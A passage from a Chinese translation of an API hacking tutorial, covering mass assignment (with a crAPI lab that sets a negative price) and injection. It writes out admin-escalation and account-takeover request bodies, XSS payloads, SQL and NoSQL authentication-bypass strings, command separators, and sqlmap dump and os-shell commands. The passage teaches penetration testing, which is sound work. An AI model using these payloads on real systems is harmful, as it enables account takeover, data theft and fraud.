"fullName":"Adam"
}
列表 10-8:响应
果然,你可以利用 BOLA 漏洞来发现用户车辆的位置。现在,你只需通过一次 Google 地图搜索,就能发现用户的确切位置,并获得随时间追踪任何用户车辆位置的能力。像本实验中一样结合漏洞发现,将使你成为一名 API 黑客大师。
第十二章:大规模赋值

如果 API 允许消费者发送请求更新或覆盖服务器端变量,那么该 API 就容易受到大规模赋值攻击。如果 API 在没有过滤或清理客户端输入的情况下接受它,攻击者就可以更新他们不应该与之互动的对象。例如,一个银行 API 可能允许用户更新与账户关联的电子邮件地址,但一个大规模赋值漏洞可能允许用户发送请求更新其账户余额。
在本章中,我们将讨论寻找大规模赋值目标的策略,并了解 API 使用哪些变量来识别敏感数据。然后,我们将讨论如何使用 Arjun 和 Burp Suite Intruder 自动化你的大规模赋值攻击。
查找大规模赋值目标
发现并利用大规模赋值漏洞最常见的地方是在接受和处理客户端输入的 API 请求中。账户注册、个人资料编辑、用户管理和客户管理都是允许客户端通过 API 提交输入的常见功能。
账户注册
大规模赋值最常见的地方可能是在账户注册过程中,因为这些过程可能允许你注册为管理员用户。如果注册过程依赖于 Web 应用程序,最终用户将填写包括所需用户名、电子邮件地址、电话号码和账户密码等标准字段。一旦用户点击提交按钮,类似以下的 API 请求将被发送:
POST /api/v1/register
`--snip--`
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"password":"Password1!"
}
对于大多数最终用户来说,这个请求是在后台进行的,他们对此一无所知。然而,由于你是拦截 Web 应用程序流量的专家,你可以轻松地捕获并操控它。一旦你拦截到注册请求,检查你是否可以在请求中提交额外的值。这个攻击的常见版本是通过添加一个 API 提供者可能用来识别管理员的变量,将账户升级为管理员角色:
POST /api/v1/register
`--snip--`
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"admin": true,
"password":"Password1!"
}
如果 API 提供者使用该变量来更新后端账户权限并接受来自客户端的额外输入,那么此请求将把注册的账户变成管理员账户。
未经授权的组织访问
大规模赋值攻击不仅仅是尝试成为管理员。你也可以使用大规模赋值来未经授权访问其他组织。例如,如果你的用户对象包括一个允许访问公司机密或其他敏感信息的组织组,你可以尝试访问该组。在这个例子中,我们已将"org"变量添加到我们的请求中,并将其值转化为一个攻击位置,接下来可以在 Burp Suite 中进行模糊测试:
POST /api/v1/register
`--snip--`
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
**"org": "§CompanyA§",**
"password":"Password1!"
}
如果你可以将自己分配到其他组织,你可能能够未经授权访问其他团队的资源。要执行这样的攻击,你需要知道在请求中用于标识公司的名称或 ID。如果 "org" 值是一个数字,你可以像测试 BOLA 时那样,暴力破解其值,看看 API 如何响应。
不要将大规模赋值漏洞的搜索仅限于账户注册过程。其他 API 功能也可能存在漏洞。测试其他用于重置密码的端点;更新账户、组或公司资料的端点;以及任何其他你可能能够分配额外权限的操作。
查找大规模赋值变量
大规模赋值攻击的挑战在于,不同的 API 中使用的变量之间缺乏一致性。话虽如此,如果 API 提供商有某种方法来指定账户为管理员,比如说,你可以确信他们也有某种约定来创建或更新变量以将用户设置为管理员。模糊测试可以加快你寻找大规模赋值漏洞的速度,但除非你了解目标的变量,否则这种技术可能会是一次盲目尝试。
在文档中查找变量
首先,在 API 文档中查找敏感变量,特别是在涉及特权操作的部分。特别是,文档可以很好地指示哪些参数包含在 JSON 对象中。
例如,你可能会搜索低权限用户与管理员账户的创建方式的不同。提交请求以创建标准用户账户可能看起来像这样:
POST /api/create/user
Token: **LowPriv-User**
`--snip--`
{
"username": "hapi_hacker",
"pass": "ff7ftw"
}
创建管理员账户可能看起来像以下内容:
POST /api/**admin**/create/user
Token: **AdminToken**
`--snip--`
{
"username": "adminthegreat",
"pass": "bestadminpw",
**"admin":****true**
}
注意,管理员请求被提交到管理员端点,使用管理员令牌,并且包含参数 "admin": true。有许多与管理员账户创建相关的字段,但如果应用程序没有正确处理这些请求,我们可能只需通过将参数 "admin"=true 添加到我们的用户账户请求中,就能创建一个管理员账户,如下所示:
POST /create/user
Token: LowPriv-User
`--snip--`
{
"username": "hapi_hacker",
"pass": "ff7ftw",
**"admin": true**
}
模糊测试未知变量
另一个常见的场景是,你在 Web 应用程序中执行某个操作,拦截请求,并在其中找到几个额外的头部或参数,例如:
POST /create/user
`--snip--`
{
"username": "hapi_hacker"
"pass": "ff7ftw",
**"uam": 1,**
**"mfa": true,**
**"account": 101**
}
在一个端点中使用的参数可能会对通过另一个端点进行大规模赋值攻击有用。当你不理解某个参数的用途时,就是该穿上实验外套进行试验的时候了。尝试通过将uam设为零,mfa设为 false,以及将account设置为 0 到 101 之间的每个数字进行模糊测试,然后观察服务提供商的响应。更好的是,尝试使用前一章讨论的各种输入。通过收集端点中的参数构建词汇表,然后通过提交包含这些参数的请求来锻炼你的模糊测试技巧。账户创建是进行此操作的一个好地方,但不要仅限于此。
盲目大规模赋值攻击
如果你在上述讨论的位置找不到变量名,你可以执行盲目大规模赋值攻击。在这种攻击中,你会尝试通过模糊测试来暴力破解可能的变量名。发送一个包含多个可能变量的单一请求,例如以下内容,并观察哪些能成功:
POST /api/v1/register
`--snip--`
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"admin": true,
"admin":1,
"isadmin": true,
"role":"admin",
"role":"administrator",
"user_priv": "admin",
"password":"Password1!"
}
如果一个 API 存在漏洞,它可能会忽略无关的变量,只接受与预期名称和格式匹配的变量。
使用 Arjun 和 Burp Suite Intruder 自动化大规模赋值攻击
与许多其他 API 攻击一样,你可以通过手动修改 API 请求或使用像 Arjun 这样的工具进行参数模糊测试来发现大规模赋值漏洞。正如你在以下 Arjun 请求中看到的,我们使用–headers选项包含了授权令牌,指定了 JSON 作为请求体的格式,并标明了 Arjun 应该测试的确切攻击点,即$arjun$:
$ **arjun --headers "Content-Type: application/json]" -u http://vulnhost.com/api/register -m JSON --include='{$arjun$}'**
[~] Analysing the content of the webpage
[~] Analysing behaviour for a non-existent parameter
[!] Reflections: 0
[!] Response Code: 200
[~] Parsing webpage for potential parameters
[+] Heuristic found a potential post parameter: admin
[!] Prioritizing it
[~] Performing heuristic level checks
[!] Scan Completed
[+] Valid parameter found: user
[+] Valid parameter found: pass
[+] Valid parameter found: admin
结果,Arjun 将向目标主机发送一系列带有各种参数的请求,这些参数来自词汇表。然后,Arjun 将根据响应长度和响应代码的偏差缩小可能的参数范围,并为你提供一个有效参数的列表。
请记住,如果你遇到速率限制问题,可以使用 Arjun 的—stable选项来减慢扫描速度。这个示例扫描已完成并发现了三个有效参数:user、pass和admin。
许多 API 会阻止你在单个请求中发送过多的参数。因此,你可能会收到一些 HTTP 状态码,通常位于 400 范围内,例如 400 Bad Request、401 Unauthorized 或 413 Payload Too Large。在这种情况下,你可以选择通过多个请求来遍历可能的大规模赋值变量,而不是发送一个大的请求。这可以通过在 Burp Suite 的 Intruder 中设置请求,将可能的大规模赋值值作为负载来完成,像这样:
POST /api/v1/register
`--snip--`
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
**§"admin": true§,**
"password":"Password1!"
}
结合 BFLA 和大规模赋值
如果你发现了一个 BFLA 漏洞,允许你更新其他用户的账户信息,可以尝试将这个能力与大规模赋值攻击结合起来。例如,假设一个名叫 Ash 的用户发现了一个 BFLA 漏洞,但这个漏洞只允许他编辑一些基本的个人资料信息,如用户名、地址、城市和地区:
PUT /api/v1/account/update
Token:UserA-Token
`--snip--`
{
"username": "Ash",
"address": "123 C St",
"city": "Pallet Town"
"region": "Kanto",
}
到这一点,Ash 可以篡改其他用户账户,但也仅此而已。然而,如果通过此请求执行大规模赋值攻击,可能会使 BFLA 漏洞变得更加严重。假设 Ash 分析了 API 中其他的 GET 请求,并注意到其他请求包含了电子邮件和多因素认证(MFA)设置的参数。Ash 知道有另一个用户,名叫 Brock,他想访问该账户。
Ash 可以禁用 Brock 的 MFA 设置,从而更容易访问 Brock 的账户。此外,Ash 还可以将 Brock 的电子邮件替换为自己的。如果 Ash 发送以下请求并获得成功响应,他就能访问 Brock 的账户:
PUT /api/v1/account/update
Token:UserA-Token
`--snip--`
{
"username": "Brock",
"address": "456 Onyx Dr",
"city": "Pewter Town",
"region": "Kanto",
"email": "ash@email.com",
"mfa": false
}
由于 Ash 不知道 Brock 当前的密码,Ash 应该利用 API 的密码重置流程,这通常是一个 PUT 或 POST 请求发送到 /api/v1/account/reset。密码重置过程会将临时密码发送到 Ash 的电子邮件。禁用 MFA 后,Ash 可以使用该临时密码完全访问 Brock 的账户。
时刻记住,要像对手一样思考,抓住每一个机会。
总结
如果你遇到一个请求,它接受客户端输入的敏感变量,并允许你更新这些变量,那么你就发现了一个严重的漏洞。像其他 API 攻击一样,某些漏洞看似微不足道,直到你将它与其他有趣的发现结合起来。发现大规模赋值漏洞往往只是冰山一角。如果存在这个漏洞,其他漏洞也很可能会随之而来。
实验 #8:在在线商店中更改商品价格
配备我们新的大规模赋值攻击技术后,让我们回到 crAPI。考虑哪些请求接受客户端输入,以及我们如何利用恶意变量来妥协 API。在你的 crAPI Postman 集合中,似乎有几个请求允许客户端输入:
-
POST /identity/api/auth/signup -
POST /workshop/api/shop/orders -
POST /workshop/api/merchant/contact_mechanic
一旦我们决定添加哪个变量,值得对这些请求进行一次测试。
我们可以在 GET 请求到 /workshop/api/shop/products 端点时定位到一个敏感变量,该端点负责将产品加载到 crAPI 店面。使用 Repeater 工具,注意到 GET 请求加载了一个名为 "credit" 的 JSON 变量(见 图 11-1)。这个变量似乎是一个有趣的操控对象。

图 11-1:使用 Burp Suite Repeater 分析 /workshop/api/shop/products 端点
这个请求已经为我们提供了一个潜在的变量来进行测试(credit),但是我们实际上无法通过 GET 请求更改信用值。让我们快速运行一次 Intruder 扫描,看看是否可以利用其他请求方法与这个端点交互。右键点击 Repeater 中的请求并将其发送到 Intruder。一旦进入 Intruder,将攻击位置设置为请求方法:
§GET§ /workshop/api/shop/products HTTP/1.1
让我们更新有效载荷,使用我们想要测试的请求方法:PUT、POST、HEAD、DELETE、CONNECT、PATCH 和 OPTIONS(见 图 11-2)。
启动攻击并查看结果。你会注意到,crAPI 会对受限方法响应 405 Method Not Allowed 状态码,这意味着我们在收到的 POST 请求响应中的 400 Bad Request 非常有趣(见 图 11-3)。这个 400 Bad Request 很可能表示 crAPI 期望在 POST 请求中包含不同的有效载荷。

图 11-2:Burp Suite Intruder 请求方法与有效载荷

图 11-3:Burp Suite Intruder 结果
响应告诉我们在 POST 请求中遗漏了一些必需字段。最棒的部分是 API 告诉我们需要哪些参数。如果我们仔细想一想,可以推测这个请求可能是为 crAPI 管理员设计的,用于更新 crAPI 商店。然而,由于这个请求并不限制管理员使用,我们可能已经发现了一个组合型的批量赋值(Mass Assignment)和 BFLA 漏洞。或许我们可以在商店中创建一个新商品,并同时更新我们的信用:
POST /workshop/api/shop/products HTTP/1.1
Host: 192.168.195.130:8888
Authorization: Bearer **UserA-Token**
{
"name":"TEST1",
"price":25,
"image_url":"string",
"credit":1337
}
这个请求成功了,返回 HTTP 200 OK 响应!如果我们在浏览器中访问 crAPI 商店,我们会发现我们成功地在商店中创建了一个新的商品,价格为 25,但不幸的是,我们的信用没有受到影响。如果我们购买这个商品,我们会注意到它会自动从我们的信用中扣除该金额,就像任何常规商店交易一样。
现在是时候戴上我们的对抗者帽子,思考一下这个业务逻辑了。作为 crAPI 的消费者,我们不应该能够向商店添加产品或调整价格……但我们可以。如果开发者在编程时假设只有可信的用户才能向 crAPI 商店添加产品,那么我们可能做什么来利用这种情况呢?我们可以给自己在某个产品上打个极大的折扣——可能优惠到价格实际上是负数:
POST /workshop/api/shop/products HTTP/1.1
Host: 192.168.195.130:8888
Authorization: Bearer UserA-Token
{
"name":"MassAssignment SPECIAL",
"price":-5000,
"image_url":"https://example.com/chickendinner.jpg"
}
商品 MassAssignment SPECIAL 是独一无二的:如果你购买它,商店将支付你 5,000 个积分。果然,这个请求收到了 HTTP 200 OK 响应。如图 11-4 所示,我们已成功将此商品添加到 crAPI 商店。

图 11-4:crAPI 上的批量赋值特价
通过购买这个特价商品,我们的可用余额增加了 5,000 美元(参见 图 11-5)。

图 11-5:crAPI 上的可用余额
如你所见,我们的批量赋值漏洞攻击将对任何存在此漏洞的企业造成严重后果。我希望你为发现此漏洞所获得的赏金远远超过你可以加到账户上的信用!在下一章中,我们将开始探索可以利用于 API 的各种潜在注入攻击。
第十三章:注入

本章将引导你检测和利用几种常见的注入漏洞。易受注入攻击的 API 请求允许你发送输入,这些输入会被 API 支持的技术(例如运行在服务器上的 Web 应用、数据库或操作系统)直接执行,从而绕过输入验证措施。
你通常会发现按其目标技术命名的注入攻击。例如,SQL 注入利用 SQL 数据库,而 NoSQL 注入则利用 NoSQL 数据库。跨站脚本攻击(XSS)会将脚本插入到在用户浏览器上运行的网页中。跨 API 脚本攻击(XAS)类似于 XSS,但它利用的是第三方应用程序,这些应用程序被你攻击的 API 吸收。命令注入是针对 Web 服务器操作系统的攻击,允许你向其发送操作系统命令。
本章中演示的技术也可以应用于其他注入攻击。作为你可能遇到的最严重的漏洞之一,API 注入可能导致目标最敏感数据的完全泄露,甚至可能让你获得对支持基础设施的访问权限。
发现注入漏洞
在使用 API 注入有效载荷之前,你必须先发现 API 接受用户输入的地方。发现这些注入点的一种方法是通过模糊测试,然后分析你收到的响应。你应该尝试对所有潜在的输入进行注入攻击,特别是在以下几种情况下:
-
API 密钥
-
令牌
-
头信息
-
URL 中的查询字符串
-
POST/PUT 请求中的参数
你进行模糊测试的方法将取决于你对目标了解多少。如果你不担心制造噪音,你可以发送各种可能会在许多支持技术中引发问题的模糊测试输入。但你对 API 了解得越多,你的攻击就会越有效。如果你知道应用程序使用的数据库是什么,Web 服务器上运行的操作系统是什么,或者应用程序是用什么编程语言编写的,你就能提交有针对性的有效载荷,旨在检测这些特定技术中的漏洞。
发送模糊测试请求后,寻找包含详细错误信息或其他未能正确处理请求的响应。特别是,注意任何表明你的有效载荷绕过了安全控制并被解释为命令的迹象,无论是在操作系统、编程语言还是数据库层面。这种响应可能是像“SQL 语法错误”这样的明显信息,也可能是处理请求时稍微多花了一点时间。你甚至可能运气好,收到一整个详细的错误转储,其中可能包含有关主机的大量细节。
当你遇到漏洞时,一定要测试每个类似的端点,看看是否也有相同的漏洞。如果你在/file/upload端点发现了一个漏洞,那些具有上传功能的端点,例如/image/upload和/account/upload,很可能也有同样的问题。
最后,值得注意的是,这些注入攻击中的许多已经存在了几十年。API 注入的独特之处在于,它为这种攻击提供了一种更新的传播方式。由于注入漏洞是众所周知的,且通常会对应用安全产生不利影响,因此它们通常会得到良好的防护。
跨站脚本(XSS)
XSS 是一种经典的 Web 应用漏洞,已经存在了几十年。如果你已经熟悉这种攻击,你可能会想,XSS 是否对 API 安全构成威胁?当然是,特别是当通过 API 提交的数据与浏览器中的 Web 应用交互时。
在 XSS 攻击中,攻击者通过提交用户输入,将恶意脚本插入网站,这些输入被用户浏览器解释为 JavaScript 或 HTML。通常,XSS 攻击会在网页中注入一个弹出消息,指示用户点击一个链接,该链接会将他们重定向到攻击者的恶意内容。
在 Web 应用中,执行 XSS 攻击通常包括将 XSS 负载注入到网站上的不同输入字段中。在测试 API 的 XSS 时,你的目标是找到一个允许你提交与前端 Web 应用交互的请求的端点。如果应用程序没有清理请求的输入,XSS 负载可能会在下次用户访问应用页面时执行。
尽管如此,为了让这次攻击成功,必须具备一些条件。由于 XSS 已经存在了相当长的时间,API 防御者会迅速消除轻易利用这一弱点的机会。此外,XSS 利用了 Web 浏览器加载客户端脚本的特性,所以如果 API 不与 Web 浏览器交互,利用此漏洞的可能性几乎为零。
这里有几个 XSS 负载的示例:
-
<script>alert("xss")</script> -
<script>alert(1);</script> -
<%00script>alert(1)</%00script> -
SCRIPT>alert("XSS");///SCRIPT>
这些脚本中的每一个都试图在浏览器中发出警报。负载之间的变体尝试绕过用户输入验证。通常,Web 应用会尝试通过过滤掉不同的字符或防止字符一开始就被发送来防止 XSS 攻击。有时,做一些简单的事情,比如添加一个空字节(%00)或将不同的字母大写,就能绕过 Web 应用的保护。在第十三章中,我们会更深入地讨论如何绕过安全控制。
对于特定于 API 的 XSS 负载,我强烈推荐以下资源:
-
Payload Box XSS 载荷列表 该列表包含超过 2,700 个 XSS 脚本,可能触发成功的 XSS 攻击(
github.com/payloadbox/xss-payload-list)。 -
Wfuzz 词典 随我们的主要工具之一附带的较短词典。适用于快速检查 XSS(
github.com/xmendez/wfuzz/tree/master/wordlist)。 -
NetSec.expert XSS 载荷 包含不同 XSS 载荷及其使用案例的解释。对于更好地理解每个载荷并进行更精确的攻击非常有用(
netsec.expert/posts/xss-in-2020)。
如果 API 实施了某种形式的安全措施,那么您的大部分 XSS 尝试应该会产生类似的结果,例如 405 错误输入或 400 错误请求。然而,请密切关注异常情况。如果您发现某些请求返回了某种形式的成功响应,请尝试刷新相关的网页,看看 XSS 尝试是否对其产生了影响。
在查看 Web 应用程序是否存在潜在的 API XSS 注入点时,请寻找包含客户端输入并用于在 Web 应用中显示信息的请求。用于以下任何操作的请求都是潜在的目标:
-
更新用户个人资料信息
-
更新社交媒体“点赞”信息
-
更新电子商务商店产品
-
发布到论坛或评论区
在 Web 应用程序中搜索请求,然后使用 XSS 载荷进行模糊测试。查看结果中是否有异常或成功的状态代码。
跨 API 脚本(XAS)
XAS 是通过 API 执行的跨站脚本攻击。例如,假设 hAPI Hacking 博客有一个由 LinkedIn 新闻源提供支持的侧边栏。该博客与 LinkedIn 之间有 API 连接,当 LinkedIn 新闻源添加新帖子时,新的内容也会显示在博客的侧边栏中。如果从 LinkedIn 接收到的数据没有经过清理,那么有可能将添加到 LinkedIn 新闻源中的 XAS 载荷注入到博客中。要进行测试,您可以发布一个包含 XAS 脚本的 LinkedIn 新闻源更新,并检查它是否成功在博客中执行。
XAS 确实比 XSS 更复杂,因为 Web 应用必须满足某些条件才能使 XAS 成功。Web 应用必须未能正确清理通过其自身 API 或第三方 API 提交的数据。API 输入还必须以某种方式注入到 Web 应用中,才能启动脚本。此外,如果您通过第三方 API 尝试攻击目标,可能会限制您可以通过该平台发出的请求数量。
除了这些常见的挑战,您还会遇到 XSS 攻击固有的相同挑战:输入验证。API 提供者可能会尝试阻止某些字符通过 API 提交。由于 XAS 只是 XSS 的另一种形式,您可以借用前面部分描述的 XSS 载荷。
除了对第三方 API 进行 XAS 测试外,您可能还需要在提供商的 API 添加内容或对其 web 应用程序进行更改时,查找该漏洞。例如,假设 hAPI Hacking 博客允许用户通过浏览器或向 API 端点 /api/profile/update 发送 POST 请求来更新其用户资料。hAPI Hacking 博客的安全团队可能将所有精力都集中在保护博客免受 web 应用程序提供的输入攻击,完全忽略了 API 作为攻击渠道的可能性。在这种情况下,您可能会尝试发送一个典型的用户资料更新请求,其中包含您在 POST 请求中的有效负载:
POST /api/profile/update HTTP/1.1
Host: hapihackingblog.com
Authorization: hAPI.hacker.token
Content-Type: application/json
{
"fname": "hAPI",
"lname": "Hacker",
"city": **"<script>alert("xas")</script>"**
}
如果请求成功,尝试在浏览器中加载网页,看脚本是否执行。如果 API 实施了输入验证,服务器可能会发出 HTTP 400 错误请求响应,阻止您发送脚本作为有效负载。在这种情况下,您可以尝试使用 Burp Suite 或 Wfuzz 发送一大批 XAS/XSS 脚本,尝试找到不会导致 400 响应的脚本。
另一个有用的 XAS 提示是尝试更改 Content-Type 头部,诱使 API 接受 HTML 有效负载来启动脚本:
Content-Type: text/html
XAS 需要特定的条件才能被利用。也就是说,API 防御者往往在防止已有二十多年历史的攻击(如 XSS 和 SQL 注入)方面做得比防止像 XAS 这样的新型复杂攻击更好。
SQL 注入
SQL 注入是最著名的 web 应用漏洞之一,它允许远程攻击者与应用程序的后端 SQL 数据库进行交互。通过这种访问,攻击者可能会获取或删除敏感数据,如信用卡号、用户名、密码以及其他重要信息。此外,攻击者还可以利用 SQL 数据库功能绕过身份验证,甚至获得系统访问权限。
这个漏洞已经存在了几十年,并且在 APIs 出现之前似乎有所减少,因为 APIs 提供了一种新的注入攻击方式。然而,API 防御者一直非常关注检测和防止通过 API 进行的 SQL 注入攻击。因此,这些攻击不太可能成功。事实上,发送包含 SQL 有效负载的请求可能会引起目标安全团队的注意,甚至导致您的授权令牌被禁用。
幸运的是,您通常可以通过一些不太显眼的方式检测 SQL 数据库的存在。在发送请求时,尝试请求一些意想不到的内容。例如,查看图 12-1 中展示的 Pixi 端点的 Swagger 文档。

图 12-1:Pixi API Swagger 文档
正如您所见,Pixi 期望消费者在请求的主体中提供某些值。"id" 值应该是一个数字,"name" 期望一个字符串,"is_admin" 期望一个布尔值,比如 true 或 false。尝试在预期数字的地方提供字符串,在预期字符串的地方提供数字,并在预期布尔值的地方提供数字或字符串。如果 API 预期一个小数字,请发送一个大数字,如果它预期一个小字符串,请发送一个大字符串。通过请求意外情况,你很可能会发现开发人员没有预测到的情况,数据库可能会在响应中返回错误。这些错误通常是冗长的,会泄露有关数据库的敏感信息。
在寻找用于数据库注入的目标请求时,要寻找那些允许客户端输入并且预计会与数据库交互的请求。在 图 12-1 中,收集的用户信息很可能会存储在数据库中,并且 PUT 请求允许我们对其进行更新。由于可能存在数据库交互,因此该请求是目标进行数据库注入攻击的一个很好的候选项。除了进行明显的请求外,还应该对所有地方进行模糊测试,因为你可能会在不太明显的请求中找到数据库注入弱点的迹象。
本节将介绍两种简单的方法来测试应用程序是否容易受到 SQL 注入攻击:手动将元字符提交为 API 的输入,以及使用一个名为 SQLmap 的自动化解决方案。
手动提交元字符
元字符 是 SQL 中被视为函数而不是数据的字符。例如,-- 是一个元字符,告诉 SQL 解释器忽略接下来的输入,因为它是一个注释。如果 API 端点没有过滤 API 请求中的 SQL 语法,那么通过 API 传递到数据库的任何 SQL 查询都将被执行。
这里有一些可以引起问题的 SQL 元字符:
'
''
;%00
--
-- -
""
;
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
OR 1=1
所有这些符号和查询都旨在引起 SQL 查询的问题。像 ;%00 这样的空字节可能会导致一个冗长的与 SQL 相关的错误作为响应发送。OR 1=1 是一个条件语句,字面上意味着“或者以下语句为真”,这将导致给定 SQL 查询的条件为真。单引号和双引号在 SQL 中用于指示字符串的开始和结束,因此引号可能会导致错误或独特的状态。想象一下,后端程序编程时,处理 API 身份验证过程的 SQL 查询可能会像下面这样,这是一个检查用户名和密码的 SQL 身份验证查询:
SELECT * FROM userdb WHERE username = 'hAPI_hacker' AND password = 'Password1!'
查询从用户输入中检索值 hAPI_hacker 和 Password1!。如果我们向 API 提供的不是密码,而是值 ' OR 1=1-- -,那么 SQL 查询可能会变成这样:
SELECT * FROM userdb WHERE username = 'hAPI_hacker' OR 1=1-- -
这将被解释为选择一个为真语句的用户,并跳过密码要求,因为密码部分已被注释掉。查询不再检查密码,用户被授予访问权限。该攻击可以对用户名和密码字段同时执行。在 SQL 查询中,破折号(--)代表单行注释的开始。这将使后续查询行中的所有内容变成注释,不会被处理。单引号和双引号可以用来逃避当前查询,导致错误,或追加你自己的 SQL 查询。
前面的列表已经以多种形式存在多年,API 防御者也意识到它的存在。因此,确保你尝试各种方式请求意外的结果。
SQLmap
我最喜欢的一种自动测试 API 是否存在 SQL 注入的方法是,将一个可能存在漏洞的请求保存在 Burp Suite 中,然后使用 SQLmap 对其进行攻击。你可以通过对请求中的所有潜在输入进行模糊测试,然后检查响应中的异常来发现潜在的 SQL 弱点。在 SQL 漏洞的情况下,这种异常通常是类似于“SQL 数据库无法处理你的请求……”的详细 SQL 响应。
保存请求后,启动 SQLmap,这是 Kali 的标准包之一,可以通过命令行运行。你的 SQLmap 命令可能如下所示:
$ **sqlmap -r /home/hapihacker/burprequest1 -p** `password`
-r 选项让你指定已保存请求的路径。-p 选项让你指定希望测试 SQL 注入的具体参数。如果没有指定要攻击的参数,SQLmap 会依次攻击每一个参数。这对于对一个简单请求进行彻底攻击非常有效,但对于一个包含多个参数的请求,可能会相当耗时。SQLmap 会一次测试一个参数,并告诉你哪个参数不太可能存在漏洞。要跳过某个参数,可以使用 ctrl-C 键组合打开 SQLmap 的扫描选项,并使用 n 命令跳到下一个参数。
当 SQLmap 表明某个参数可能存在注入漏洞时,尝试利用它。有两个主要的后续步骤,你可以选择先进行哪一个:导出所有数据库条目或尝试获取系统访问权限。要导出所有数据库条目,可以使用以下命令:
$ **sqlmap -r /home/hapihacker/burprequest1 -p vuln-param –dump-all**
如果你不想导出整个数据库,你可以使用 --dump 命令来指定你希望获取的具体表格和列:
$ **sqlmap -r /home/hapihacker/burprequest1 -p vuln-param –dump -T users -C password -D helpdesk**
这个示例尝试从 helpdesk 数据库中的 users 表导出 password 列。当命令成功执行时,SQLmap 会在命令行上显示数据库信息,并将信息导出到 CSV 文件。
有时 SQL 注入漏洞会允许你向服务器上传一个 Web Shell,然后执行该 Shell 以获取系统访问权限。你可以使用 SQLmap 的命令之一来自动尝试上传 Web Shell 并执行它,从而为你提供系统访问权限:
$ **sqlmap -r /home/hapihacker/burprequest1 -p vuln-param –os-shell**
此命令将尝试利用漏洞参数中的 SQL 命令访问,上传并启动一个 shell。如果成功,这将使你能够访问操作系统的交互式 shell。
或者,你可以使用os-pwn选项尝试通过 Meterpreter 或 VNC 获得 shell:
$ **sqlmap -r /home/hapihacker/burprequest1 -p vuln-param –os-pwn**
成功的 API SQL 注入可能少之又少,但如果你确实找到漏洞,影响可能会导致数据库和受影响服务器的严重泄露。关于 SQLmap 的更多信息,请查看其文档:github.com/sqlmapproject/sqlmap#readme。
NoSQL 注入
API 常常使用 NoSQL 数据库,因为它们与 API 中常见的架构设计兼容,如第一章所述。你可能会发现 NoSQL 数据库比 SQL 数据库更为普遍。而且,NoSQL 注入技术不像结构化的 SQL 注入那样广为人知。正因为这一小点,你更可能发现 NoSQL 注入。
在你进行渗透测试时,请记住,NoSQL 数据库不像不同的 SQL 数据库那样具有许多共同点。NoSQL是一个总括性术语,意味着数据库不使用 SQL。因此,这些数据库具有独特的结构、查询模式、漏洞和利用方式。实际上,你会进行许多类似的攻击并针对相似的请求,但实际的有效负载会有所不同。
以下是你可以在 API 调用中发送的常见 NoSQL 元字符,用于操作数据库:
-
$gt -
{"$gt":""} -
{"$gt":-1} -
$ne -
{"$ne":""} -
{"$ne":-1} -
$nin -
{"$nin":1} -
{"$nin":[1]} -
|| '1'=='1 -
// -
||'a'\\'a -
'||'1'=='1';// -
'/{}: -
'"\;{} -
'"\/$[].> -
{"$where": "sleep(1000)"}
关于这些 NoSQL 元字符的说明:正如我们在第一章中提到的,$gt是 MongoDB NoSQL 查询操作符,用于选择大于给定值的文档。$ne查询操作符选择值不等于给定值的文档。$nin操作符是“not in”操作符,用于选择字段值不在指定数组中的文档。列表中的许多其他符号旨在导致详细的错误信息或其他有趣的行为,比如绕过认证或等待 10 秒。
任何异常的情况都应该促使你彻底测试数据库。当你发送 API 身份验证请求时,错误密码的一个可能响应如下所示,来自 Pixi API 集合:
HTTP/1.1 202 Accepted
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{"message":"sorry pal, invalid login"}
请注意,失败的响应包括状态码 202 Accepted,并带有失败的登录信息。使用特定符号模糊测试/api/login端点会导致详细的错误消息。例如,将有效负载'"\;{}作为密码参数发送,可能会导致以下 400 Bad Request 消息。
HTTP/1.1 400 Bad Request
X-Powered-By: Express
`--snip--`
SyntaxError: Unexpected token ; in JSON at position 54<br> at JSON.parse (<anonymous>)<br> [...]
不幸的是,错误信息并未指示所使用的数据库类型。然而,这个独特的响应确实表明,该请求在处理某些类型的用户输入时存在问题,这可能表明它可能容易受到注入攻击。这正是应该引起你注意并集中测试的响应。既然我们已经有了 NoSQL 负载列表,我们可以将攻击位置设置为密码,并使用我们的 NoSQL 字符串:
POST /login HTTP/1.1
Host: 192.168.195.132:8000
`--snip--`
user=hapi%40hacker.com&pass=**§Password1%21§**
由于我们已经在 Pixi 集合中保存了这个请求,让我们尝试使用 Postman 进行注入攻击。发送带有 NoSQL 模糊负载的各种请求会得到 202 Accepted 响应,正如在图 12-2 中看到的其他错误密码尝试。
正如你所看到的,嵌套的 NoSQL 命令负载 {"$gt":""} 和 {"$ne":""} 导致了成功的注入和认证绕过。

图 12-2:使用 Postman 成功进行 NoSQL 注入攻击
操作系统命令注入
操作系统命令注入类似于本章中我们讨论的其他注入攻击,但不同之处在于,你注入的不是数据库查询,而是命令分隔符和操作系统命令。在进行操作系统注入时,了解目标服务器上运行的操作系统非常有帮助。确保在侦察期间充分利用你的 Nmap 扫描,以尝试获取这些信息。
与所有其他注入攻击一样,你的第一步是找到潜在的注入点。操作系统命令注入通常需要能够利用应用程序访问的系统命令,或完全逃逸出应用程序。一些关键的攻击目标包括 URL 查询字符串、请求参数和头部,以及在模糊测试中抛出过独特或冗长错误(特别是那些包含操作系统信息的错误)的请求。
以下字符都充当 命令分隔符,它们允许程序在一行中将多个命令配对。如果 Web 应用程序存在漏洞,它将允许攻击者将命令分隔符添加到现有命令中,并在其后跟随其他操作系统命令:
-
| -
|| -
& -
&& -
' -
" -
; -
'"
如果你不知道目标的底层操作系统,可以通过使用两个负载位置来发挥你的 API 模糊技能:一个用于命令分隔符,另一个用于操作系统命令。表 12-1 是一些潜在的操作系统命令。
表 12-1:注入攻击中常用的操作系统命令
| 操作系统 | 命令 | 描述 |
|---|---|---|
| Windows | ipconfig |
显示网络配置 |
dir |
打印目录内容 | |
ver |
打印操作系统和版本 | |
echo``%CD% |
打印当前工作目录 | |
whoami |
打印当前用户 | |
| *nix(Linux 和 Unix) | ifconfig |
显示网络配置 |
ls |
打印目录的内容 | |
uname``-a |
打印操作系统和版本 | |
pwd |
打印当前工作目录 | |
whoami |
打印当前用户 |
